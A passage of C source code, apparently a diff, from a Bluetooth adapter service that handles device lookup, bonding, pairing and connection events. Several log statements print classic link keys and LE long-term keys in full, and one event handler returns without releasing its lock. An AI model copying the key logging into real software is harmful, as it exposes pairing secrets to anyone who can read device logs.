addr, sizeof(bt_address_t)) && device_get_transport(device) == transport) + return device; + } + + return NULL; +} + +static bt_device_t* adapter_find_create_classic_device(bt_address_t* addr) +{ + bt_device_t* device; + + if ((device = adapter_find_device(addr, BT_TRANSPORT_BREDR))) + return device; + + device = br_device_create(addr); + assert(device); + bt_list_add_tail(g_adapter_service.devices, device); + + return device; +} + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT +static bool adapter_campare_id_addr(const bt_address_t* addr, ble_addr_type_t addr_type, const bt_address_t* id_addr) +{ + if (!bt_addr_is_empty(id_addr) + && !bt_addr_compare(addr, id_addr) + && ((addr_type == BT_LE_ADDR_TYPE_PUBLIC) || (addr_type == BT_LE_ADDR_TYPE_RANDOM))) { + return true; + } + + return false; +} + +static bt_device_t* adapter_find_le_device(const bt_address_t* addr, ble_addr_type_t addr_type) +{ + bt_list_node_t* node; + bt_list_t* list; + bool cmp_result = false; + + list = g_adapter_service.le_devices; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + + if (device_is_bonded(device)) { + /* Comparison of Identity Addresses for Bonded remote Devices, addr type may be public or random*/ + cmp_result = adapter_campare_id_addr(addr, addr_type, device_get_identity_address(device)); + } else if (!device_is_bonded(device)) { + cmp_result = adapter_campare_id_addr(addr, addr_type, device_get_identity_address(device)); + } else { + /* Comparison of Addresses for no bond remote Devices */ + cmp_result = !bt_addr_compare(addr, device_get_address(device)); + } + + if (cmp_result) + return device; + } + + return NULL; +} + +bt_address_t* adapter_get_le_remote_address(bt_address_t* addr, ble_addr_type_t addr_type) +{ + bt_device_t* device; + + device = adapter_find_le_device(addr, addr_type); + if (device) { + return device_get_address(device); + } + + return NULL; +} + +uint8_t* adapter_get_smp_data(bt_address_t* addr) +{ + bt_device_t* device; + + if ((device = adapter_find_device(addr, BT_TRANSPORT_BLE))) + return device_get_smp_key(device); + + return NULL; +} + +uint8_t* adapter_get_local_csrk(bt_address_t* addr) +{ + bt_device_t* device; + + if ((device = adapter_find_device(addr, BT_TRANSPORT_BLE))) + return device_get_local_csrk(device); + + return NULL; +} + +uint8_t* adapter_get_local_irk(void) +{ + adapter_service_t* adapter = &g_adapter_service; + + return adapter->properties.irk; +} + +ble_addr_type_t adapter_get_le_remote_address_type(bt_address_t* addr) +{ + bt_device_t* device; + + device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (!device) { + BT_LOGE("device not found"); + return BT_LE_ADDR_TYPE_UNKNOWN; + } + + return device_get_address_type(device); +} + +uint8_t* adapter_get_link_key(bt_address_t* addr) +{ + bt_device_t* device; + + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device) { + BT_LOGE("device not found"); + return NULL; + } + + return device_get_link_key(device); +} + +bt_link_key_type_t adapter_get_link_key_type(bt_address_t* addr) +{ + bt_device_t* device; + + device = adapter_find_device(addr, BT_TRANSPORT_BREDR); + if (!device) { + BT_LOGE("device not found"); + return 0; + } + + return device_get_link_key_type(device); +} + +static bt_device_t* adapter_find_create_le_device(bt_address_t* addr, ble_addr_type_t addr_type) +{ + bt_device_t* device; + + if ((device = adapter_find_device(addr, BT_TRANSPORT_BLE))) + return device; + + device = le_device_create(addr, addr_type); + assert(device); + bt_list_add_tail(g_adapter_service.le_devices, device); + + return device; +} +#endif + +static void adapter_delete_device(void* data) +{ + bt_device_t* device = (bt_device_t*)data; + bt_address_t* addr; + + if (device_get_connection_state(device) != CONNECTION_STATE_DISCONNECTED) { + addr = device_get_address(device); + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_connection_state_changed, addr, + device_get_transport(device), CONNECTION_STATE_DISCONNECTED); + } + + device_delete(device); +} + +static bool adapter_check_acl_all_disconnected(void) +{ + bt_device_t* device; + bt_list_node_t* node; + + for (node = bt_list_head(g_adapter_service.devices); node != NULL; node = bt_list_next(g_adapter_service.devices, node)) { + device = (bt_device_t*)bt_list_node(node); + if (device_is_connected(device)) { + return false; + } + } + + return true; +} + +static adapter_remote_event_t* create_remote_event(bt_address_t* addr, uint8_t evt_id) +{ + adapter_remote_event_t* evt = malloc(sizeof(adapter_remote_event_t)); + if (!evt) { + BT_LOGE("adapter event alloc fail"); + return NULL; + } + + memcpy(&evt->addr, addr, sizeof(bt_address_t)); + evt->evt_id = evt_id; + + return evt; +} + +static void adapter_properties_copy(adapter_properties_t* prop, adapter_storage_t* storage) +{ + strlcpy(prop->name, storage->name, sizeof(prop->name)); + prop->class_of_device = storage->class_of_device; + prop->io_capability = storage->io_capability; + prop->scan_mode = storage->scan_mode; + prop->bondable = storage->bondable; + memcpy(prop->irk, storage->irk, sizeof(prop->irk)); +} + +static int get_devices_cnt(int flag, uint8_t transport) +{ + bt_list_t* list; + bt_list_node_t* node; + int cnt = 0; + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (transport == BT_TRANSPORT_BLE) { + list = g_adapter_service.le_devices; + } else +#endif +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (transport == BT_TRANSPORT_BREDR) { + list = g_adapter_service.devices; + } else +#endif + { + BT_LOGE("%s, transport invalid!", __func__); + return cnt; + } + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + if ((flag == DFLAG_BONDED && device_is_bonded(device)) || (flag == DFLAG_CONNECTED && device_is_connected(device)) || (device_check_flag(device, flag))) + cnt++; + } + + return cnt; +} + +static void load_remote_uuids(remote_device_properties_t* remote, bt_device_t* device) +{ + bt_uuid_t* uuids; + bt_uuid_t* tmp; + uint16_t count_uuid16 = 0; + uint16_t count_uuid128 = 0; + uint16_t count_uuids = 0; + uint8_t* remote_uuids = remote->uuids; + uint32_t property_length = 0; + + if (*remote_uuids == 0) { + BT_LOGD("%s, No uuids found", __func__); + return; + } + + switch (*remote_uuids >> 5) { + case BT_HEAD_UUID16_TYPE: + count_uuid16 = *remote_uuids & 0x1F; + break; + case BT_HEAD_UUID128_TYPE: + count_uuid128 = *remote_uuids & 0x1F; + break; + default: + break; + } + + remote_uuids++; + count_uuids = count_uuid16 + count_uuid128; + + if (count_uuid16 != 0) { + if (count_uuid16 * 2 + 1 < CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN) { + count_uuid128 = *(remote_uuids + count_uuid16 * 2) & 0x1F; + count_uuids += count_uuid128; + } + } + + if (!count_uuids) { + BT_LOGE("%s, No uuids found", __func__); + return; + } + + if (count_uuid16) + property_length += 1 + (count_uuid16 << 1); + + if (count_uuid128) + property_length += 1 + (count_uuid128 << 4); + + if (property_length > CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN) { + BT_LOGE("%s, Incorrect property length: %" PRIu32 " > %d", __func__, property_length, + CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN); + return; + } + + uuids = (bt_uuid_t*)malloc(sizeof(bt_uuid_t) * count_uuids); + if (!uuids) { + BT_LOGE("%s, malloc fail", __func__); + return; + } + + tmp = uuids; + for (int i = 0; i < count_uuid16; i++) { + bt_uuid_t uuid; + + uuid.type = BT_UUID16_TYPE; + BE_STREAM_TO_UINT16(uuid.val.u16, remote_uuids) + bt_uuid_to_uuid128(&uuid, tmp); + tmp++; + } + + if (count_uuid128 != 0) { + remote_uuids++; + } + + for (int i = 0; i < count_uuid128; i++) { + tmp->type = BT_UUID128_TYPE; + memcpy(tmp->val.u128, remote_uuids, sizeof(tmp->val.u128)); + remote_uuids += 16; + tmp++; + } + + device_set_uuids(device, uuids, count_uuids); + free(uuids); +} + +static void bonded_device_loaded(void* data, uint16_t length, uint16_t items) +{ + if (data && items) { + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + remote_device_properties_t* remote = (remote_device_properties_t*)data; + + BT_LOGD("load classic bonded device successfully:"); + for (int i = 0; i < items; i++) { + bt_device_t* device = br_device_create(&remote->addr); + device_set_name(device, remote->name); + device_set_alias(device, remote->alias); + device_set_device_class(device, remote->class_of_device); + device_set_device_type(device, remote->device_type); + device_set_link_key(device, remote->link_key); + device_set_link_key_type(device, remote->link_key_type); + device_set_bond_state(device, BOND_STATE_BONDED, false, NULL); + load_remote_uuids(remote, device); + bt_list_add_tail(g_adapter_service.devices, device); + bt_addr_ba2str(&remote->addr, addr_str); + uint8_t* lk = remote->link_key; + BT_LOGD("BONDED DEVICE[%d], Name:[%s] Addr:[%s] LinkKey: [%02X] | [%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X]", + i, remote->name, addr_str, remote->link_key_type, lk[0], lk[1], lk[2], lk[3], lk[4], lk[5], lk[6], + lk[7], lk[8], lk[9], lk[10], lk[11], lk[12], lk[13], lk[14], lk[15]); + UNUSED(lk); + bt_sal_set_bonded_devices(PRIMARY_ADAPTER, remote, 1); + remote++; + } + } + BT_LOGD("classic bonded device cnt: %" PRIu16, items); + + send_to_state_machine((state_machine_t*)g_adapter_service.stm, BREDR_ENABLED, NULL); +} + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT +static void whitelist_device_loaded(void* data, uint16_t length, uint16_t items) +{ + if (data && items) { + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + remote_device_le_properties_t* remote = (remote_device_le_properties_t*)data; + BT_LOGD("load whitelist device successfully:"); + for (int i = 0; i < items; i++) { + bt_device_t* device = adapter_find_create_le_device(&remote->addr, remote->addr_type); + device_set_flags(device, DFLAG_WHITELIST_ADDED); + bt_addr_ba2str(&remote->addr, addr_str); + BT_LOGD("LE WHITELIST[%d] [%s]", i, addr_str); + bt_sal_le_add_white_list(PRIMARY_ADAPTER, &remote->addr, remote->addr_type); + remote++; + } + } + BT_LOGD("ble whitelist device cnt: %" PRIu16, items); +} + +static void le_bonded_device_loaded(void* data, uint16_t length, uint16_t items) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + if (data && items) { + remote_device_le_properties_t* remote = (remote_device_le_properties_t*)data; + BT_LOGD("load ble bonded device successfully:"); + for (int i = 0; i < items; i++) { + bt_device_t* device = adapter_find_create_le_device(&remote->addr, remote->addr_type); + device_set_bond_state(device, BOND_STATE_BONDED, false, NULL); + device_set_smp_key(device, remote->smp_key); + device_set_identity_address(device, (bt_address_t*)remote->smp_key); + device_set_local_csrk(device, remote->local_csrk); + bt_addr_ba2str(&remote->addr, addr_str); + uint8_t* ltk = &remote->smp_key[12]; + BT_LOGD("LE BOND DEVICE[%d], Addr:[%s] Atype:[%d] LTK: [%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X]", + i, addr_str, remote->addr_type, ltk[0], ltk[1], ltk[2], ltk[3], ltk[4], ltk[5], ltk[6], ltk[7], + ltk[8], ltk[9], ltk[10], ltk[11], ltk[12], ltk[13], ltk[14], ltk[15]); + UNUSED(ltk); + remote++; + } + + bt_sal_le_set_bonded_devices(PRIMARY_ADAPTER, data, items); + } + + BT_LOGD("ble bonded device cnt: %" PRIu16, items); +} +#endif + +static void adapter_update_bonded_device(void) +{ + bt_list_t* list = g_adapter_service.devices; + bt_list_node_t* node; + + int size = get_devices_cnt(DFLAG_BONDED, BT_TRANSPORT_BREDR); + if (!size) { + bt_storage_save_bonded_device(NULL, 0); + return; + } + + remote_device_properties_t remotes[size]; + memset(remotes, 0x00, sizeof(remote_device_properties_t) * size); + + size = 0; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + if (device_is_bonded(device)) { + device_get_property(device, &remotes[size]); + size++; + } + } + + bt_storage_save_bonded_device(remotes, size); +} + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT +static void adapter_update_le_bonded_device(void) +{ + bt_list_t* list = g_adapter_service.le_devices; + bt_list_node_t* node; + + int size = get_devices_cnt(DFLAG_BONDED, BT_TRANSPORT_BLE); + if (!size) { + bt_storage_save_le_bonded_device(NULL, 0); + return; + } + + remote_device_le_properties_t remotes[size]; + memset(remotes, 0x00, sizeof(remote_device_le_properties_t) * size); + + size = 0; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + if (device_is_bonded(device)) { + device_get_le_property(device, &remotes[size]); + size++; + } + } + + bt_storage_save_le_bonded_device(remotes, size); +} + +static void adapter_update_whitelist(void) +{ + BT_LOGD("%s", __func__); + + bt_list_t* list = g_adapter_service.le_devices; + bt_list_node_t* node; + + int size = get_devices_cnt(DFLAG_WHITELIST_ADDED, BT_TRANSPORT_BLE); + if (!size) { + bt_storage_save_whitelist(NULL, 0); + return; + } + + remote_device_le_properties_t remotes[size]; + size = 0; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_device_t* device = bt_list_node(node); + if (device_check_flag(device, DFLAG_WHITELIST_ADDED)) { + device_get_le_property(device, &remotes[size]); + size++; + } + } + + bt_storage_save_whitelist(remotes, size); +} +#endif + +static void adapter_save_properties(void) +{ + adapter_properties_t* prop = &g_adapter_service.properties; + adapter_storage_t storage; + + strlcpy(storage.name, prop->name, BT_LOC_NAME_MAX_LEN); + storage.class_of_device = prop->class_of_device; + storage.io_capability = prop->io_capability; + storage.scan_mode = prop->scan_mode; + storage.bondable = prop->bondable; + memcpy(storage.irk, prop->irk, sizeof(storage.irk)); + bt_storage_save_adapter_info(&storage); +} + +static void send_pair_display_notification(bt_address_t* addr, uint8_t transport, + bt_pair_type_t type, uint32_t passkey) +{ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_pair_display, addr, transport, type, passkey); +} + +static void process_pair_request_evt(bt_address_t* addr, bool local_initiate, bool is_bondable) +{ + bt_device_t* device; + + if (!is_bondable) { + BT_ADDR_LOG("Pair not allowed for:%s", addr); + bt_sal_pair_reply(PRIMARY_ADAPTER, addr, HCI_ERR_PAIRING_NOT_ALLOWED); + return; + } + + adapter_lock(); + device = adapter_find_create_classic_device(addr); + device_set_bond_initiate_local(device, local_initiate); + adapter_unlock(); + /* maybe remote device initiate pairing request (get io capability) or + * user and app initiated pairing process, notify user to ensure, + * We need to obtain user authorization. + */ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_pair_request, addr); +} + +static void process_pin_request_evt(bt_address_t* addr, uint32_t cod, + bool min_16_digit, const char* name) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_create_classic_device(addr); + if (device_get_bond_state(device) == BOND_STATE_CANCELING) { + BT_LOGE("%s, canceling reject", __func__); + bt_sal_pin_reply(PRIMARY_ADAPTER, addr, false, NULL, 0); + adapter_unlock(); + return; + } + + if (!device_check_flag(device, DFLAG_NAME_SET | DFLAG_GET_RMT_NAME)) { + BT_LOGD("pin requesting, request remote name..."); + bt_sal_get_remote_name(PRIMARY_ADAPTER, addr); + device_set_flags(device, DFLAG_GET_RMT_NAME); + } + + if (device_get_bond_state(device) != BOND_STATE_BONDING) + device_set_bond_state(device, BOND_STATE_BONDING, false, adapter_notify_bond_state); + adapter_unlock(); + /* send pin code request notification*/ + send_pair_display_notification(addr, BT_TRANSPORT_BREDR, PAIR_TYPE_PIN_CODE, 0x0); +} + +static void process_ssp_request_evt(bt_address_t* addr, uint8_t transport, + uint32_t cod, bt_pair_type_t ssp_type, + uint32_t pass_key, const char* name) +{ + bt_device_t* device; + adapter_lock(); + + device = adapter_find_device(addr, transport); + + if (device_get_bond_state(device) == BOND_STATE_CANCELING) { + BT_LOGE("%s, canceling reject", __func__); + if (transport == BT_TRANSPORT_BREDR) { +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + bt_sal_ssp_reply(PRIMARY_ADAPTER, addr, false, ssp_type, 0x0); +#endif + } else { +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_sal_le_smp_reply(PRIMARY_ADAPTER, addr, false, ssp_type, 0); +#endif + } + + adapter_unlock(); + return; + } + + if (!device_check_flag(device, DFLAG_NAME_SET | DFLAG_GET_RMT_NAME)) { + BT_LOGD("ssp, request remote name..."); + bt_sal_get_remote_name(PRIMARY_ADAPTER, addr); + device_set_flags(device, DFLAG_GET_RMT_NAME); + } + + if (device_get_bond_state(device) != BOND_STATE_BONDING) + device_set_bond_state(device, BOND_STATE_BONDING, false, adapter_notify_bond_state); + adapter_unlock(); + /* send ssp request notification*/ + send_pair_display_notification(addr, transport, ssp_type, pass_key); +} + +static void process_bond_state_change_evt(bt_address_t* addr, bond_state_t state, + uint8_t transport, bool is_ctkd) +{ + remote_device_properties_t remote; + bt_device_t* device; + + adapter_lock(); + if (transport == BT_TRANSPORT_BREDR) { + device = adapter_find_create_classic_device(addr); + if (state == BOND_STATE_BONDED) { + device_set_bond_state(device, BOND_STATE_BONDED, is_ctkd, adapter_notify_bond_state); + bt_sal_get_remote_device_info(PRIMARY_ADAPTER, addr, &remote); + device_set_device_type(device, remote.device_type); + /* update bonded device info */ + adapter_update_bonded_device(); + // device_set_connection_state(device, CONNECTION_STATE_ENCRYPTED_BREDR); + if (device_is_connected(device)) + bt_sal_start_service_discovery(PRIMARY_ADAPTER, addr, NULL); + } + } else { +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + device = adapter_find_create_le_device(addr, BT_LE_ADDR_TYPE_PUBLIC); + if (state == BOND_STATE_BONDED) { + device_set_device_type(device, BT_DEVICE_TYPE_BLE); +#ifdef CONFIG_BLUETOOTH_STACK_LE_ZBLUE + bt_address_t id_addr; + if (bt_sal_get_identity_addr(addr, &id_addr) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, cannot get identity addr", __func__); + } + device_set_identity_address(device, &id_addr); +#endif + // device_set_connection_state(device, CONNECTION_STATE_ENCRYPTED_LE); + } else if (state == BOND_STATE_NONE) { + device_delete_smp_key(device); + } +#else + adapter_unlock(); + return; +#endif + } + + device_set_bond_state(device, state, is_ctkd, adapter_notify_bond_state); + adapter_unlock(); +} + +static void process_service_search_done_evt(bt_address_t* addr, bt_uuid_t* uuids, uint16_t size) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_create_classic_device(addr); + device_set_uuids(device, uuids, size); + adapter_unlock(); + adapter_update_bonded_device(); + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_remote_uuids_changed, addr, uuids, size); + free(uuids); +} + +static void process_enc_state_change_evt(bt_address_t* addr, bool encrypted, + uint8_t transport) +{ + bt_device_t* device; + + adapter_lock(); + if (transport == BT_TRANSPORT_BREDR) + device = adapter_find_create_classic_device(addr); + else if (transport == BT_TRANSPORT_BLE) + device = adapter_find_device(addr, BT_TRANSPORT_BLE); + else + return; + + if (encrypted) { + if (transport == BT_TRANSPORT_BREDR) + device_set_connection_state(device, CONNECTION_STATE_ENCRYPTED_BREDR); + else + device_set_connection_state(device, CONNECTION_STATE_ENCRYPTED_LE); + } else + device_set_connection_state(device, CONNECTION_STATE_CONNECTED); + adapter_unlock(); +} + +static void process_link_key_update_evt(bt_address_t* addr, bt_128key_t link_key, + bt_link_key_type_t type) +{ + bt_device_t* device; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + adapter_lock(); + device = adapter_find_create_classic_device(addr); + if (!device_check_flag(device, DFLAG_NAME_SET | DFLAG_GET_RMT_NAME)) { + BT_LOGD("linkkey notify, request remote name..."); + bt_sal_get_remote_name(PRIMARY_ADAPTER, addr); + device_set_flags(device, DFLAG_GET_RMT_NAME); + } + + device_set_link_key(device, link_key); + device_set_link_key_type(device, type); + adapter_update_bonded_device(); + bt_addr_ba2str(addr, addr_str); + uint8_t* lk = link_key; + BT_LOGI("DEVICE[%s] LinkKey: %02X | [%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X]", + addr_str, type, lk[0], lk[1], lk[2], lk[3], lk[4], lk[5], lk[6], + lk[7], lk[8], lk[9], lk[10], lk[11], lk[12], lk[13], lk[14], lk[15]); + UNUSED(lk); + adapter_unlock(); +} + +static void process_link_key_removed_evt(bt_address_t* addr, bt_status_t status) +{ + bt_device_t* device; + + adapter_lock(); + device = adapter_find_create_classic_device(addr); + device_delete_link_key(device); + if (device_get_bond_state(device) == BOND_STATE_BONDED) + device_set_bond_state(device, BOND_STATE_NONE, false, adapter_notify_bond_state); + /* remove bond device */ + adapter_update_bonded_device(); + adapter_unlock(); +} + +static void handle_security_event(void* data) +{ + adapter_remote_event_t* evt = (adapter_remote_event_t*)data; + + switch (evt->evt_id) { + case PAIR_REQUEST_EVT: + process_pair_request_evt(&evt->addr, evt->pair_req.local_initiate, + evt->pair_req.is_bondable); + break; + case PIN_REQUEST_EVT: + process_pin_request_evt(&evt->addr, evt->pin_req.cod, evt->pin_req.min_16_digit, + evt->pin_req.name); + break; + case SSP_REQUEST_EVT: + process_ssp_request_evt(&evt->addr, evt->ssp_req.transport, evt->ssp_req.cod, + evt->ssp_req.ssp_type, evt->ssp_req.pass_key, evt->ssp_req.name); + break; + case BOND_STATE_CHANGE_EVT: + process_bond_state_change_evt(&evt->addr, evt->bond_state.state, + evt->bond_state.transport, + evt->bond_state.is_ctkd); + break; + case SDP_SEARCH_DONE_EVT: + process_service_search_done_evt(&evt->addr, evt->sdp.uuids, evt->sdp.uuid_size); + break; + case ENC_STATE_CHANGE_EVT: + process_enc_state_change_evt(&evt->addr, evt->enc_state.encrypted, + evt->enc_state.transport); + break; + case LINK_KEY_UPDATE_EVT: + process_link_key_update_evt(&evt->addr, evt->link_key.key, evt->link_key.type); + break; + case LINK_KEY_REMOVED_EVT: + process_link_key_removed_evt(&evt->addr, evt->link_key.status); + break; + default: + break; + } + + free(data); +} + +static void process_connect_request_evt(bt_address_t* addr, uint32_t cod) +{ + adapter_service_t* adapter = &g_adapter_service; + bt_device_t* device; + bool reject = false; + + BT_ADDR_LOG("ACL Connect Request from :%s", addr); + + adapter_lock(); + device = adapter_find_create_classic_device(addr); + device_set_device_class(device, cod); + if (get_devices_cnt(DFLAG_CONNECTED, BT_TRANSPORT_BREDR) >= adapter->max_acl_connections) { + reject = true; + BT_LOGW("Reject connect request without available connection"); + /* if a2dp source support, accept link with master role ? */ + bt_sal_acl_connection_reply(PRIMARY_ADAPTER, addr, false); + } + adapter_unlock(); + if (!reject) { + /* send connect request notification */ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_connect_request, addr); + } +} + +static const char* acl_connection_str(connection_state_t state) +{ + switch (state) { + CASE_RETURN_STR(CONNECTION_STATE_DISCONNECTED); + CASE_RETURN_STR(CONNECTION_STATE_CONNECTING); + CASE_RETURN_STR(CONNECTION_STATE_DISCONNECTING); + CASE_RETURN_STR(CONNECTION_STATE_CONNECTED); + default: + return "Unknow"; + } +} + +static void bt_dfx_connection_state_changed(uint32_t hci_reason_code, uint8_t transport) +{ + if (transport == BT_TRANSPORT_BREDR) { + switch (hci_reason_code) { + case HCI_ERR_CONNECTION_TIMEOUT: + BT_DFX_BR_GAP_DISCONN_ERROR(BT_DFXE_CONN_TIMEOUT); + break; + case HCI_ERR_CONNECTION_FAILED_TO_BE_ESTABLISHED: + BT_DFX_BR_GAP_DISCONN_ERROR(BT_DFXE_CONN_FAILED_TO_BE_ESTABLISHED); + break; + default: + break; + } + return; + } + + if (transport == BT_TRANSPORT_BLE) { + switch (hci_reason_code) { + case HCI_ERR_CONNECTION_TIMEOUT: + BT_DFX_LE_GAP_DISCONN_ERROR(BT_DFXE_CONN_TIMEOUT); + break; + case HCI_ERR_CONNECTION_FAILED_TO_BE_ESTABLISHED: + BT_DFX_LE_GAP_DISCONN_ERROR(BT_DFXE_CONN_FAILED_TO_BE_ESTABLISHED); + break; + default: + break; + } + } +} + +static void process_connection_state_changed_evt(bt_address_t* addr, acl_state_param_t* acl_params) +{ + bt_device_t* device; + adapter_service_t* adapter = &g_adapter_service; + const char* conn_str = acl_connection_str(acl_params->connection_state); + + BT_ADDR_LOG("ACL connection state changed, addr:%s, link:%d, state:%s, status:%d, reason:%" PRIu32 "", addr, + acl_params->transport, conn_str, + acl_params->status, acl_params->hci_reason_code); + UNUSED(conn_str); + + adapter_lock(); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (acl_params->transport == BT_TRANSPORT_BREDR) { + device = adapter_find_create_classic_device(addr); + if (device_get_bond_state(device) == BOND_STATE_BONDING && !device_check_flag(device, DFLAG_NAME_SET | DFLAG_GET_RMT_NAME)) { + BT_LOGD("bonding, request remote name..."); + bt_sal_get_remote_name(PRIMARY_ADAPTER, addr); + device_set_flags(device, DFLAG_GET_RMT_NAME); + } + } else +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + if (acl_params->transport == BT_TRANSPORT_BLE) + device = adapter_find_create_le_device(addr, acl_params->addr_type); + else +#endif + { + adapter_unlock(); + BT_LOGW("%s, unexpected device", __func__); + return; + } + + device_set_connection_state(device, acl_params->connection_state); + if (acl_params->connection_state == CONNECTION_STATE_CONNECTED) { + device_set_acl_handle(device, bt_sal_get_acl_connection_handle(PRIMARY_ADAPTER, addr, acl_params->transport)); + // if (acl_params->transport == BT_TRANSPORT_BLE) + // adapter_le_add_whitelist(addr); + } + adapter_unlock(); + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (acl_params->transport == BT_TRANSPORT_BREDR) { + switch (acl_params->connection_state) { + case CONNECTION_STATE_CONNECTED: + bt_pm_remote_device_connected(addr); + break; + case CONNECTION_STATE_DISCONNECTED: + bt_pm_remote_device_disconnected(addr); + break; + default: + break; + } + } +#endif + + bt_dfx_connection_state_changed(acl_params->hci_reason_code, acl_params->transport); + +#ifdef CONFIG_BLUETOOTH_CONNECTION_MANAGER + if (acl_params->connection_state == CONNECTION_STATE_DISCONNECTED) + bt_cm_process_disconnect_event(addr, acl_params->transport, acl_params->hci_reason_code); +#endif + + /* send connection changed notification */ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_connection_state_changed, addr, + acl_params->transport, acl_params->connection_state); + + /* check acls connection is all disconnected in safe disable mode */ + if (acl_params->connection_state == CONNECTION_STATE_DISCONNECTED) { + if (adapter_check_acl_all_disconnected()) { + send_to_state_machine((state_machine_t*)adapter->stm, BREDR_ACL_ALL_DISCONNECTED, NULL); + } + } +} + +static void handle_connection_event(void* data) +{ + adapter_remote_event_t* conn_evt = (adapter_remote_event_t*)data; + + switch (conn_evt->evt_id) { + case CONNECT_REQUEST_EVT: + process_connect_request_evt(&conn_evt->addr, conn_evt->cod); + break; + case CONNECTION_STATE_CHANGE_EVT: + process_connection_state_changed_evt(&conn_evt->addr, &conn_evt->acl_params); + break; + default: + break; + } + + free(data); +} + +static void process_discovery_state_changed_evt(bt_discovery_state_t state) +{ + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + /* discovery state real changed */ + adapter->is_discovering = ((state == BT_DISCOVERY_STATE_STARTED) ? true : false); + adapter_unlock(); + + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_discovery_state_changed, state); +} + +static void process_device_found_evt(bt_discovery_result_t* remote) +{ + bt_device_t* device; + + adapter_lock(); + if (!g_adapter_service.is_discovering) { + adapter_unlock(); + return; + } + + device = adapter_find_create_classic_device(&remote->addr); + device_set_name(device, remote->name); + device_set_device_class(device, remote->cod); + device_set_rssi(device, remote->rssi); + device_set_device_type(device, BT_DEVICE_TYPE_BREDR); + /* uuids ? stack don't parse uuid EIR */ + adapter_unlock(); + /* send device found notification */ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_discovery_result, remote); +} + +static void process_remote_name_recieved_evt(bt_address_t* addr, const char* name) +{ + adapter_lock(); + bt_device_t* device = adapter_find_create_classic_device(addr); + bool notify = false; + + BT_ADDR_LOG("remote device:%s name:%s", addr, name); + notify = device_set_name(device, name); + device_clear_flag(device, DFLAG_GET_RMT_NAME); + adapter_unlock(); + if (notify) { + /* send name changed notification to all observer */ + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, on_remote_name_changed, addr, name); + } +} + +static void handle_discovery_event(void* data) +{ + adapter_discovery_evt_t* evt = (adapter_discovery_evt_t*)data; + + switch (evt->evt_id) { + case DISCOVER_STATE_CHANGE_EVT: + process_discovery_state_changed_evt(evt->state); + break; + case DEVICE_FOUND_EVT: + process_device_found_evt(&evt->result); + break; + case REMOTE_NAME_RECIEVED_EVT: + process_remote_name_recieved_evt(&evt->remote_name.addr, (const char*)evt->remote_name.name); + break; + } + + free(data); +} + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT +static void process_le_address_update_evt(bt_address_t* addr, ble_addr_type_t type) +{ + adapter_service_t* adapter = &g_adapter_service; + + adapter_lock(); + memcpy(&adapter->le_properties.addr, addr, sizeof(*addr)); + adapter->le_properties.addr_type = type; + adapter_unlock(); +} + +static void process_le_phy_update_evt(bt_address_t* addr, ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy, bt_status_t status) +{ + adapter_lock(); + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (device == NULL) { + adapter_unlock(); + return; + } + + if (status != BT_STATUS_SUCCESS) { + adapter_unlock(); + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGE("Device:%s update phy failed:0x%02x", addr_str, status); + return; + } + + device_set_le_phy(device, tx_phy, rx_phy); + adapter_unlock(); +} + +static void process_le_whitelist_update_evt(bt_address_t* addr, bool is_add, bt_status_t status) +{ + bool is_added; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s, %s isadded:%d, status:%d", __func__, addr_str, is_add, status); + + if (status != BT_STATUS_SUCCESS) { + return; + } + + adapter_lock(); + + bt_device_t* device = adapter_find_device(addr, BT_TRANSPORT_BLE); + if (device == NULL) { + 